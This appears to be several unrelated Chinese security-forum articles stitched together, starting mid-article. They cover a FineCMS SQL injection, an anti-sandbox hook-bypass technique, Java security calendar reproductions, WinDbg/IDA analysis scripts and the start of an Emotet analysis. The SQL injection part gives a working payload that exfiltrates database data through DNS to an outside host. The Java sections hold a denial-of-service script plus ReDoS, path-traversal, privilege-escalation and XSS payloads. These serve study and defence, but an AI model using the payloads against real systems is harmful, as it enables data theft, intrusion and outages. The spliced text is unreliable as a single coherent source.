$this->_reset_select();
}
// If we've previously reset the qb_orderby values, get them back
elseif ( ! isset($this->qb_orderby))
{
$this->qb_orderby = $orderby;
}
if ($result->num_rows() === 0)
{
return 0;
}
$row = $result->row();
return (int) $row->numrows;
}
可以看到对传入的table参数进行了是否为空校验以及经过两个函数的处理，再跟进_track_aliases函数继续进行分析：
protected function _track_aliases($table)
{
if (is_array($table))
{
foreach ($table as $t)
{
$this->_track_aliases($t);
}
return;
}
// Does the string contain a comma? If so, we need to separate
// the string into discreet statements
if (strpos($table, ',') !== FALSE)
{
return $this->_track_aliases(explode(',', $table));
}
// if a table alias is used we can recognize it by a space
if (strpos($table, ' ') !== FALSE)
{
// if the alias is written with the AS keyword, remove it
$table = preg_replace('/\s+AS\s+/i', ' ', $table);
// Grab the alias
$table = trim(strrchr($table, ' '));
// Store the alias, if it doesn't already exist
if ( ! in_array($table, $this->qb_aliased_tables, TRUE))
{
$this->qb_aliased_tables[] = $table;
if ($this->qb_caching === TRUE && ! in_array($table, $this->qb_cache_aliased_tables, TRUE))
{
$this->qb_cache_aliased_tables[] = $table;
$this->qb_cache_exists[] = 'aliased_tables';
}
}
}
}
可以看到table在这个函数中经过了较多过滤，继续看下一个函数from：
public function from($from)
{
foreach ((array) $from as $val)
{
if (strpos($val, ',') !== FALSE)
{
foreach (explode(',', $val) as $v)
{
$v = trim($v);
$this->_track_aliases($v);
$this->qb_from[] = $v = $this->protect_identifiers($v, TRUE, NULL, FALSE);
if ($this->qb_caching === TRUE)
{
$this->qb_cache_from[] = $v;
$this->qb_cache_exists[] = 'from';
}
}
}
else
{
$val = trim($val);
// Extract any aliases that might exist. We use this information
// in the protect_identifiers to know whether to add a table prefix
$this->_track_aliases($val);
$this->qb_from[] = $val = $this->protect_identifiers($val, TRUE, NULL, FALSE);
if ($this->qb_caching === TRUE)
{
$this->qb_cache_from[] = $val;
$this->qb_cache_exists[] = 'from';
}
}
}
return $this;
}
可以看到经过这两个函数以及finecms本身get方法的过滤，能用的符号不多了，但是括号以及逗号都还能使用。
在测试的时候，如果传入的参数比如：module=1，则会爆表不存在的错误，并且可以看到查询的语句，而module参数位于from位置，也就是查询的表的位置，于是使用逗号分割查询的表，并使用dns外带数据，payload形如：
>
> [http://localhost/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(select](http://localhost/index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,\(select)
> load_file(concat(0x5c5c5c5c,version(),0x2e6d7973716c2e61687a6935672e636579652e696f5c5c616263))))
> as total
可以看到dns信息带出了版本信息 | 社区文章 |
# **0x1 概述**
沙箱是分析恶意代码的常用手段，对常用Windows
API的HOOK是观察恶意代码行为的最常用手段。但道高一尺魔高一丈，恶意代码也慢慢演化出各类反沙箱机制，如直接从NTDLL调用原生Windows
API来规避HOOK，或者如本文，使用Unbalance Stack技巧来检测堆栈。本文给出一种方法来规避Unbalance Stack的检查。
# **0x2 Unbalance Stack检查**
这种检查方式可以用于侦测所有类型的用户模式函数钩取，特别是通过包裹原始函数来控制输入输出的这种类型，其执行流程类似这样：
由于执行了新的外层函数HookRoutine，在执行OriginalFunction时堆栈必然比原本高，因此，我们可以在被调用函数局部变量以上的位置放置canaries，在函数调用完成后对原本的canaries进行检查，如果和原始canaries一致，则没有被HOOK，否则目标函数被HOOK了。
正常的状态：
如果原始函数被HOOK：
为应对这种检测，有以下几种方法：
1. 使用内核级别的Hook
2. 在堆中分配空间，作为栈使用
3. 降低堆栈指针的值，使其低于Canaries的位置
实际上只使用方法3对于大多数Hook是可行的，但是有一个明显的问题，我们并不清楚当前函数栈帧在整个栈中的位置，也很难给出Hook时需要多少局部变量，更不知道目标函数需要多少堆栈空间用于存储局部变量，如果直接降低堆栈指针，在原始堆栈上进行HOOK并尝试绕过Unbalance检查，可能会导致堆栈溢出，因此此处给出一种方法，结合2、3两条，在用户模式下绕过Unbalance检查。
# **0x3 32位执行环境下的检查绕过：**
32位执行环境下函数调用约定大致分为两种： **cdecl和**
stdcall，因此要根据目标函数的类型进行堆栈迁移的分类。我们先找到原始目标HOOK函数，将其前12字节修改为：
并在相应位置上填入对应的地址，这里选用FF直接跳转是避免相对跳转增加程序复杂度，其中stack_function是我们要Hook的函数。StackShfter是栈迁移函数，要根据目标函数的调用原型来选择两个不同的版本。然后对原始函数进行数据备份（恢复用），后将HookIns写入stack_function起始址。（注意修改函数时要修改目标内存的Protection，否则会造成访问违规）。
同时，也要编写对应的恢复函数，将原始函数恢复成原本的状态。考虑到程序的多线程安全性，使用以下结构保存原始函数的前12字节：
下面进行最关键的步骤：堆栈迁移。
由于是32位的执行环境，因此直接__declspec(naked)修饰声明裸函数：
这里逐一解释重点内容：
首先在代码执行前，ebx中存储的是目标函数的地址，而且只有目标函数原型为__cdecl时，才会调用当前这个栈迁移函数。
第6行，将ESP值降低，绕过Unbalance Stack Canaries。
第9行：此处调用RequestLocalMem函数，分配当前调用专有的局部存储，也是为了多线程安全，该局部存储的结构很简单：
data为动态开辟的内存空间（其实没必要，但是防止日后有需求），临时存储ESP或原始EBP，返回地址（__stdcall中需要）。Stack指向新开辟堆栈的末端（因为栈是反方向生长的，所以要将指针指向末端，但实际上不是最后一个字节，因为堆栈要对齐，详情请参考Intel开发手册）。Func指向目标函数。
由于目前只需要保存ESP的值，因此只需申请4个字节的data空间即可。
第11行：暂时将该结构体的首地址信息保存在edi寄存器中。
第15-18行：计算原始ESP的值，用于函数调用完成后进行堆栈恢复。
第19-20行：计算堆栈复制范围，此处简单粗暴的将调用者的整个栈帧直接复制过来。
第22-23行：迁移堆栈。
第24-28行：复制堆栈内容。（其实此处使用rep movs指令更高效）
第30,32行：由于堆栈对齐的需要，预留了4字节在EBP指向的位置，也是为了保存局部变量的值。
第34-36行：由于只有类型为__cdecl的函数才会使用此堆栈迁移，所以自然知道函数类型为1（__cdecl），重新Hook函数。
然后后面的代码重新回收堆栈空间，还原EAX寄存器（返回值），完成。
__stdcall类型的函数HOOK和此类类似，只是需要保存返回地址然后清理参数（相当于模拟了RETN指令）。
# **0x4 64位环境下的检查绕过:**
64位应用程序由于参数传递问题，而且不再使用RBP寄存器寻址局部变量，因此实现和32位稍有不同：
这里，调整插入原始函数的操作码为：
这里的count是函数的索引，即指明到底是那个函数，针对64位应用，InsBackup结构体也有所变化：（此处的设计主要是为了让上面HookIns占的空间尽可能小）
由于64位应用程序会优先使用RCX,RDX,R8,R9寄存器传递前4个参数，而实际上在目标函数内部，首先要做的还是将RCX,RDX,R8,R9的值放到栈中，与剩余的参数相邻放置，即RSP+4为第一个参数，RSP+8为第二个参数……，因此只需复制这部分区域即可（简单的实现）。
另外，由于64位函数调用均为fastcall类型，所以堆栈迁移实现较为简单，64位已经不允许使用__asm关键字内联汇编，所以将栈迁移函数汇编写入asm文件中：
与32位的占迁移基本类似：
第25行即从InsBackup结构中获取索引所对应函数的地址和参数数目。
该方法认为子函数不会使用RBP寄存器（大多数情况可能是这样的）
初出茅庐，简单写写。问题肯定存在，往各位大神看到多加指正，大家一起学习一起进步！
参考资料：
<https://github.com/shmoocon/proceedings-2017/blob/master/belay/06_defeating_sandbox_evasion.md> | 社区文章 |
# Day5 拒绝服务攻击-StringBuilder
### 代码
Day 5
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
代码的第6行实例化了StringBuilder对象，并将攻击者可控的参数值附加到其中。java.util.StringBuilder的内部原因，可能会导致拒绝服务问题。默认情况下，StringBuilder对象使用大小为16的数组进行初始化，StringBuilder实例会检查数据是否适合该数组。如果不是，则数组的大小会加倍。在这种情况下，会有很大的方法，这可能导致java堆内存不足，从而导致拒绝服务攻击。
### 复现过程
#### 1\. 环境
* IDEA+maven-archetype-webapp
#### 2\. 添加主函数
Day5.java
package com.ananaskr.day5;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class Day5 extends HttpServlet {
public void init() throws ServletException {
}
public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
Request request = new Request();
request.toString(req);
}
public void destroy(){
}
}
#### 3\. 配置web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>Request</servlet-name>
<servlet-class>com.ananaskr.day5.Day5</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Request</servlet-name>
<url-pattern>/day5</url-pattern>
</servlet-mapping>
</web-app>
#### 4\. 构造payload
在分析漏洞点的情况下，可以选择使用比较大的delim参数，以及构造数量足够多的其他参数。
默认情况下，Apache
Tomcat的POST请求限制为2MB，最大参数为10000.如果结合数组和大量(例如10000)HTTP参数提交非常大的参数delim(例如1.8M)值，那么考虑到StringBuilder内部，我们的最大放大倍数约为20000。
在这里编写了一个脚本用于测试
import requests
url = "http://localhost:8080/Day5_war_exploded/day5"
delim = ""
A=[]
data="delim="+delim
for i in range(1,30000):
delim = delim+'------------------------------------------------'
for i in range(1,300):
A.append("test_the_DoS")
data=data+"&A{index}=".format(index=i)+A[i-1]
header={'content-type':"application/x-www-form-urlencoded"}
res=requests.post(url=url,data=data,headers=header)
print(res)
#### 5\. 结果
在设置了300个POST参数后，delim的值为1.4M，就会出现堆内存空间不足。如图所示:
# Day6 拒绝服务攻击-readAllBytes()
### 代码
Day 6
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
代码中的第9行从参数url接收不受信任的用户输入。然后给定的值创建一个java.nio.file.Path实例，该文件的内容由方法java.nio.file.Files.readAllBytes()读取。那么所考虑的就是发送一个可以一直读的文件路径，从而消耗Java堆内存。当文件路径名为"/dev/urandom"值时，在Java堆内存不足之前，Files.readAllBytes()方法不会终止。这将导致无限的文件读取，并最终导致IOException处理程序无法捕获的内存耗尽。
### 复现过程
#### 1\. 环境
* IDEA+maven-archetype-webapp
#### 2\. 配置web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>Request</servlet-name>
<servlet-class>com.ananaskr.day6.ReadFile</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Request</servlet-name>
<url-pattern>/day6</url-pattern>
</servlet-mapping>
</web-app>
#### 3\. 构造payload
将请求的参数url= **/dev/urandom** 即可使其堆空间消耗完毕，从而拒绝服务。
#### 4\. 结果
# Day7 权限提升
### 代码
Day 7
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
在ApiCache类的storeJson方法中，post请求中的username值是攻击者可控的。此函数的作用是获取username的值，作为username域的值，其中赋予的权限permission为"none"。然而，由于未对用户传入的参数username进行过滤，导致可以写入任意的域-值对。从而进行权限提升。
### 复现过程
#### 1\. 环境
* IDEA+maven-archetype-webapp
#### 2\. 补全代码
* 添加异常处理，并将Get请求补全，便于验证。Get请求原来的意思表示的是取json中的前两项作为结果。
ApiCahche.java
public static void loadJson() throws IOException {
// Deserialize to an HashMap object with Jackson's JsonParser and read the first 2 entries of the file.
JsonFactory jsonobject = new JsonFactory();
JsonParser parser = jsonobject.createParser(new File("/tmp/getUserInformation.json"));
parser.nextToken();
parser.nextToken();
String field1 = parser.getValueAsString();
parser.nextToken();
String username = parser.getValueAsString();
parser.nextToken();
String field2 = parser.getValueAsString();
parser.nextToken();
String permission = parser.getValueAsString();
System.out.println(field1+": "+username);
System.out.println(field2+": "+permission);
}
#### 3\. 配置web.xml
web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day7</servlet-name>
<servlet-class>com.ananaskr.day7.ApiCache</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day7</servlet-name>
<url-pattern>/day7</url-pattern>
</servlet-mapping>
</web-app>
#### 4\. 构造payload
正常情况下，请求发送正常的username值，"/tmp/getUSerInformation.json"的内容如下:
/tmp/getUserInfomation.json:
{
"username":"xxx",
"permission":"none"
}
当攻击者发送username=xxx","permission":"all，"/tmp/getUSerInformation.json"的内容如下:
/tmp/getUserInfomation.json:
{
"username":"xxx",
"permission":"all",
"permission":"none"
}
由于在Get请求中，对json处理时，只读取了username域以及一个permission的值"all"，导致权限提升。
在发送请求时，将username参数值进行url编码后，发送出去。
#### 5\. 结果
可以看出get请求，得出来的权限确实提升为all了。
# Day8 未授权文件下载
### 代码
Day 8
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
这段代码的主要功能是可下载读取"/var/myapp/data/"目录下的文件。其中getName()函数对输入内容进行了一个简单的过滤以防止目录遍历。然而，getName()只能进行简单的过滤，比如对../进行过滤。但是对于仅..的情况，却未进行任何过滤。因此，导致可以下载到上级目录下的所有文件。
### 复现过程
#### 1\. 环境
* IDEA+maven-archetype-webapp
#### 2\. 补全代码
* 添加打印能够获取的文件的路径，便于验证
GetPath.java
// Download file...
PrintWriter out = response.getWriter();
out.println("The File is: "+toDir+filename);
* 然后将doGet方法改为doPost方法。
#### 3\. 配置web.xml
web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>Day8</servlet-name>
<servlet-class>com.ananaskr.day8.GetPath</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Day8</servlet-name>
<url-pattern>/day8</url-pattern>
</servlet-mapping>
</web-app>
#### 4\. 构造payload
icons=..&filename=hacked.txt
#### 5\. 结果
从结果可看，是可以到上一级目录的
# Day9 ReDoS
### 代码
Day 9
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
代码中的whitelist参数是正则表达式模式的部分。value参数值在第22行被验证是否符合whitelist组成的模式。由于whitelist和value的值都是由攻击者控制的，攻击者可以注入任意正则表达式并控制该表达式的值与之相配。使用复杂的正则表达式产生CPU消耗，从而导致DoS。这种DoS的方式被称为ReDoS。
### 复现过程
#### 1\. 环境
* IDEA+maven-archetype-webapp
* Java8
#### 2\. 配置web.xml
web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day9</servlet-name>
<servlet-class>com.ananaskr.day9.Validator</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day9</servlet-name>
<url-pattern>/day9</url-pattern>
</servlet-mapping>
</web-app>
#### 3\. 修正代码
* 将连接whitelist作为pattern的"["和"]"分别改为"("和")"。在前面的测试中，发现"["和"]"，并不能导致拒绝服务攻击。将其改成"("和")"即可导致拒绝服务。
* 在isInWhiteList()函数前后增加代码以便进行计时。
修改后的代码如下所示
Validator.java
package com.ananaskr.day9;
import java.util.regex.*;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.http.*;
public class Validator extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws IOException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");
PrintWriter out = response.getWriter();
long startTime = System.currentTimeMillis();
if (isInWhiteList(request.getParameter("whitelist"), request.getParameter("value"))) {
out.print("Value is in whitelist.");
System.out.println("This takes " + (System.currentTimeMillis() - startTime));
} else {
out.print("Value is not in whitelist.");
System.out.println("This takes " + (System.currentTimeMillis() - startTime));
}
out.flush();
}
public static boolean isInWhiteList(String whitelist, String value) {
Pattern pattern = Pattern.compile("^(" + whitelist + ")+");
Matcher matcher = pattern.matcher(value);
System.out.println("The length of the value is: "+ value.length());
return matcher.matches();
}
}
#### 4\. 构造payload
构造复杂的正则表达式，以达到消耗CPU的目的。payload为
whitelist=([a-z])+.)+[A-Z]([a-z]&value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
在发送payload需要对+进行编码，否则会被当成空格。
#### 5\. 结果
通过下图可以看出，当a的数量按比例增长时，其消耗的时间成指数增长，易受到ReDoS攻击。
# Day10 XML响应中的XSS
### 代码
Day 10
<https://www.ripstech.com/java-security-calendar-2019/>
### 漏洞点
这段代码中，用户输入通过@RequestParam注解从GET或POST参数"name"到达函数中的name参数。且第三行响应的"Content-Type"被设置为"text/xml"。输入流是攻击者可控的，则他可以注入具有xml名称空间属性"[http://www.w3.org/1999/xhtml"的script标签，从而执行XSS。](http://www.w3.org/1999/xhtml)
### 复现过程
#### 1\. 环境
* IDEA+springmvc
* 导入servlet的jar包
#### 2\. 配置web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<init-param>
<param-name>forceEncoding</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
#### 3\. 配置dispatcher-servlet.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<context:component-scan base-package="com.ananaskr.day10"/>
<context:annotation-config/>
<mvc:default-servlet-handler/>
<mvc:annotation-driven/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/WEB-INF/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
</beans>
#### 4\. 配置applicationContext.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="day10" class="com.ananaskr.day10.day10">
</bean>
</beans>
#### 5\. 构造payload
CDATA指的是不应由XML解析器进行解析的文本数据，因此需要将其闭合以避免注入的JS代码变成文本。然后注入带有命名空间属性
**"<http://www.w3.org/1999/xhtml>"**的script标签，将script标签定义为具有html属性的script标签。因此可以被浏览器当作JavaScript代码执行。payload如下:
name=test] ]><something%3Ascript%09xmlns%3Asomething%3D"http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml">alert(1)<%2Fsomething%3Ascript><![CDATA[
#### 6\. 结果 | 社区文章 |
# 从二进制漏洞分析入门到辅助分析脚本诞生
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**作者：k0shl**
**
**
**(一)写在前面**
从接触二进制漏洞以来一直在边学边思考,有没有一些共通的地方,可以通过一些简单的脚本或者工具来简化一些过程,不得不承认二进制漏洞无论在挖
掘,分析,还是最后写exp上都是有一定难度的,经过不断的请教,拜读大牛们的作品,也逐渐摸到了一些门道,下面的分享如有不当之处请多多指教, 大牛轻喷:)
感谢蛙师傅给予的灵感!
相应的脚本也已经开源放在我的github下,欢迎大家多提意见,也可以进行修改,后续我也会根据我逐步学习逐步改进增强工具的功能。这里之所以说是
辅助分析工具,是因为我还想不到一种方法能够完全自动化分析漏洞的成因,只能说简化一些漏洞分析过程中的过程。
在二进制漏洞的入门学习中,我个人感觉相比漏洞挖掘,构造PoC,编写Exp,只有漏洞分析是最核心也是最容易入手的,通过已有的PoC,搭建复现漏
洞的环境,获得存在漏洞的软件,复现漏洞后就可以进行分析了,而我写的这个脚本,也是为了简化一些漏洞分析过程,从而更清晰直观的看到漏洞执行 流程。
**
**
**(二)为什么要写辅助分析脚本**
说到二进制漏洞分析,在windows下,入门阶段最好用的两款工具就是windbg和IDA pro对于这两款工具,网上相关的介绍有很多,这里我就不再多做赘
述,在我进行漏洞分析的过程中,经常用的方法就是windbg的动态调试,配合上IDA pro的静态分析,其中windbg提供了很强大的动态调试功能,包括堆
栈的回溯,跟踪,加载符号表中特定的变量,结构体等等;而ida pro则提供了静态分析的功能,比如指令流流程,伪代码还原等等。
一般当我们第一次开始学习漏洞分析的时候,拿到一个崩溃场景,往往会碰到这样的崩溃场景。
造成软件或者系统崩溃的原因有很多,比如某些关键地址,关键指针被覆盖,导致引用时发生错误,比如空指针引用,比如越界操作内存等等,而二进制
漏洞分析就是要分析为什么会造成崩溃的发生,这样无论对于修补漏洞,还是编写利用工具,都有极大的帮助。
在漏洞分析过程中,避免不了这样一个过程—-回溯。刚才提到,漏洞分析就是要分析为什么会造成崩溃的发生,那么就少不了对程序执行流程的回
溯,通常在windbg中,我们使用“kb”命令回溯堆栈调用的情况。
通过kb命令,我们可以看到在程序执行到崩溃场景前调用的函数内容,而这个调用往往是嵌套调用,就是栈增长方向是外层函数,因为熟悉堆栈的小伙伴
应该知道,栈的开辟是由高地址向低地址开辟,堆是由低地址向高地址开辟,也就是每次调用内层函数的时候,栈就会向低地址方向开辟一片空间使用,
我们可以这样简单理解函数调用关系。
我们需要在ida中动态跟踪这个调试过程,追踪从接收到PoC中的畸形数据,到触发漏洞的整个过程,才能较为完整的完成对漏洞的分析,那么实际上在
一个函数内部,涉及到大量的条件判断,跳转等功能,在ida的指令流程图中可以看出这个过程在静态分析中,会耗去很多时间。
那么实际上,我写的这个辅助分析脚本,其实也是为了针对这种情况而诞生的。
**
**
**(三)从PcMan FTP漏洞看辅助分析脚本**
这里我以PcMan FTP这个漏洞为例,先结合漏洞的分析过程,再讲解辅助分析脚本的编写及功能,首先这个漏洞是由于PcMan FTP在对用户传输的数据
进行处理的过程中,没有对传输的内容进行长度控制和内容检查,从而导致可以通过ftp指令+畸形字符串来覆盖返回地址,最后导致远程代码执行,在发
送PoC之后,这边用windbg对进程进行附加,可以捕获到崩溃场景。
通过回溯,我们找到了一处call recv的调用,这个调用会获取畸形的payload。
在004029d5位置接收到recv之后,观察一下此时接收到的数据。
已经是畸形字符串了,接下来进行连续跟踪。我们跟踪到一处函数sub_403E60,这处函数中会执行一处sprintf操作,正是这个过程会将payload拷贝到缓
冲区,而没有进行长度控制的情况下,会造成缓冲区溢出。
最后执行到返回后会因为返回地址被覆盖导致任意代码执行。
在对这个过程进行动态调试跟踪的过程中,涉及到很多函数的嵌套调用,以及很多的跳转,这无论在windbg还是ida pro中通过地址比对来动静结合是很
耗时间的,因为要经过很多的地址比对,甚至有时在面对ASLR的情况下还需要进行地址换算,于是就有了这个辅助分析脚本。
**(三)idahelp.script和winidc.idc**
在windbg下,支持使用脚本,同样在ida
pro下,也支持使用.idc的脚本,首先我来讲解一下windbg下的脚本,以及编写,首先来看一下idahelp.script。
在windbg中,涉及到寄存器操作的都需要加上r,而涉及到一些if,else,while命令的,则需要加上一个“.”,windbg有很多种调用脚本的方法,这里介绍
两种常用的调用方法。
第一种调用的是不带参数的,第二种则是调用带参数的,在我的脚本里,需要两个参数,在脚本开头已经传入t1,t2模拟寄存器里。
这两个参数分别对应脚本执行的起始地址和结束地址,在上述的分析过程中,我们提到在回溯调用的过程中,需要由外层函数向内层函数不断动态跟踪,
这就需要我们利用脚本对想跟踪的地址区间进行设定,然后脚本会不断跟踪,同时通过logopen命令来将整个跟踪时的路径保存至一个文件里,方便之后
我们在使用ida pro脚本进行标记。
执行脚本之后,程序会按照流程动态执行,并且将整个执行的过程记录在txt中。
这样,就完成了对这个指令区间的跟踪,接下来我们来看一下winidc.idc。
比起windbg的脚本,ida
pro提供了一套自己的功能,在代码编写方面和C很像,需要通过#include方法,把idc提供的api库导入,这样才能使用ida可识
别的脚本函数,来完成我们的功能。来看一下winidc.idc的代码。
#include <idc.idc>extern ida_image_base_addr,windbg_image_base_addr,offset;
//主函数static main(void)
{
auto i,temp;auto FileName,FileLength,hFile,str,Target="66666666";
auto Fileline;
//
//获取输 Windbg和IDA中模块的基址//
temp=AskStr("00401000","Please input Windbg's imageBase,For example:");
windbg_image_base_addr=xtol(temp);temp=AskStr("00401000","Please input IDA's imageBase,For example:");
ida_image_base_addr=xtol(temp);
FileName=AskFile(0,"*.*","Please choose Windbg Instruction stream file");
hFile=fopen(FileName,"r+");FileLength=filelength(hFile)-30-34;Fileline = FileLength/17;
fseek(hFile,37,1);
Target[0]=fgetc(hFile);
Target[1]=fgetc(hFile);
Target[2]=fgetc(hFile);
Target[3]=fgetc(hFile);
Target[4]=fgetc(hFile);
Target[5]=fgetc(hFile);
Target[6]=fgetc(hFile);
Target[7]=fgetc(hFile);
temp=xtol(Target);
temp = temp-windbg_image_base_addr+ida_image_base_addr;
SetColor(temp,1,0x98fb98);
for(i=1;i<Fileline;i++)
{fseek(hFile,9,1);
Target[0]=fgetc(hFile);
Target[1]=fgetc(hFile);
Target[2]=fgetc(hFile);
Target[3]=fgetc(hFile);
Target[4]=fgetc(hFile);
Target[5]=fgetc(hFile);
Target[6]=fgetc(hFile);
Target[7]=fgetc(hFile);
temp=xtol(Target);
temp = temp-windbg_image_base_addr+ida_image_base_addr;
SetColor(temp,1,0x98fb98);}
}
这里AskStr是获取用户输入字符串,AskFile则是获取用户文件,这里打开的文件,就是刚才我们通过windbg脚本跟踪生成的文件ida.log,之后通过fseek
的方法跳转到指令开头部分,随后会获取相应的地址,并且进行标记,同时需要用户输入ida的对应领空基址以及windbg对应领空基址,这是为了对抗 aslr。
两者获取基址的方法,windbg通过lm命令查看加载模块获得基址。
ida pro直接观察打开pe文件开头就可以获得
在ida的文件菜单中有一个功能叫script command,可以导入这个idc的脚本。
通过import按钮导入idc脚本,再通过run执行,进行相应的设置,这里我们选择打开之前windbg生成的文件。进行对应的参数设置之后观察一下效果。
可以看到，执行路径已经被标记出来了，再看下流程图
对应函数的执行路径也都很清晰的展示出来,省去了对地址比对分析的过程。
**
**
**(四)写在最后**
这里我和大家分享了二进制漏洞分析入门的一些技巧方法,并且结合一个实例漏洞分享了我写的辅助分析脚本,比较基础,希望能对大家有所帮助,这个
辅助分析脚本也存在一定的不足,以后会继续完善升级功能,并且弥补存在的一些bug。
地址有效性的判断 函数调用先后顺序的标记 其他可能存在的bug
对应的github下载地址:<https://github.com/k0keoyo/binhelp/>
也希望大家能够一起交流,一起进步,谢谢! | 社区文章 |
# 【木马分析】关于Emotet变种的深入分析（一）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
**稿费：200RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【木马分析】关于Emotet变种的深入分析（二）**](http://bobao.360.cn/learning/detail/3878.html)
**
**
**一、背景**
前几天，FortiGuard实验室捕捉到了某个恶意JS文件，该JS文件充当恶意软件下载器功能，用来传播Emotet木马的新变种。JS文件的原始文件名为“Invoice__779__Apr___25___2017___lang___gb___GB779.js”。JS文件就是JavaScript文件，可以通过鼠标双击，使用Windows脚本宿主程序（Windows
Sciprt Host，wscript.exe）加以执行。在本文中，我们会按照时间顺序，逐步深入分析这个新型恶意软件变种。
**二、传播恶意软件的JS文件**
原始的JS代码经过混淆处理，因此难以直接理解。根据我的分析，它的任务是产生一段新的JS代码，存储在数组中，然后再执行这段代码。新生成的代码更容易理解，其代码片段如图1所示。正如我提到的，这段代码充当下载器角色，试图访问5个URL，将恶意软件下载到被感染的设备上。一旦某个下载任务完成，恶意软件会将下载的文件保存为系统临时目录中的“random
name.exe”，并加以执行。
图1. 所生成的JS代码的部分片段
**三、运行下载的EXE文件**
下载的EXE文件运行时，会将自身移动到“%LocalAppData%random namerandom name.exe”，其中“random
name”会使用本地文件名生成的随机名进行替换。在我的测试环境中，该样本文件名为“LatnParams.exe”。
为了保护自身运行，LatnParams.exe在运行时，会从自身中提取代码，使用CREATE_SUSPENDED标识调用CreateProcessW函数，将代码插入新创建的LatnParams.exe中，然后再恢复运行第二个进程。这些操作完成后，第一个进程就会退出。接下来，LatnParams.exe会在系统开始菜单的启动目录（Startup
folder）中创建指向自己的lnk文件，以便在系统启动时自动运行。如图2所示。
图2. 启动目录中的恶意软件
**四、第二个进程的主函数**
接下来，我们来看看这个代码创建的第二个进程的具体工作流程。第二个进程创建了一个隐藏窗口，它的WindowProc函数功能是处理这个窗口接收的所有Windows消息。这个恶意软件通过调用SetTimer函数，生成WM_TIMER消息来启动第二个进程。
